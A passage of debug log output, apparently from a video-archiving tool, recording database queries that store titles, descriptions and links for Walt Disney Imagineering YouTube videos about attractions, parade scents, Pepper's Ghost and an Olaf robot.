Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "861fc8b0-f9c4-49b0-b258-81a5756fc238", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", false, false, 7, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", false, false, 2, [], 98, ~U[2026-01-20 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", nil, false, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", false, 2, ~U[2026-01-20 00:00:00Z]] 18:56:17.553 [debug] QUERY OK source="sources" db=0.1ms idle=169.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.554 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-22 00:00:00Z], 2] 18:56:17.556 [debug] QUERY OK source="media_items" db=1.5ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "e9c9a529-af7f-47cf-8fa8-a98713aa0e17", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", false, false, 8, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", false, false, 2, [], 98, ~U[2025-12-22 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", nil, false, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", false, 2, ~U[2025-12-22 00:00:00Z]] 18:56:17.556 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.557 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 00:00:00Z], 2] 18:56:17.559 [debug] QUERY OK source="media_items" db=1.3ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "e78631e9-f44c-4000-98e0-2a8edc75254a", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", false, false, 9, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", false, false, 2, [], 98, ~U[2025-12-08 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", nil, false, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", false, 2, ~U[2025-12-08 00:00:00Z]] 18:56:17.559 [debug] QUERY OK source="sources" db=0.1ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.560 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 00:00:00Z], 2] 18:56:17.562 [debug] QUERY OK source="media_items" db=1.3ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "166e3b4f-b650-4ec9-ba81-b2d47ff70cf5", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", false, false, 10, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", false, false, 2, [], 98, ~U[2025-12-02 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About 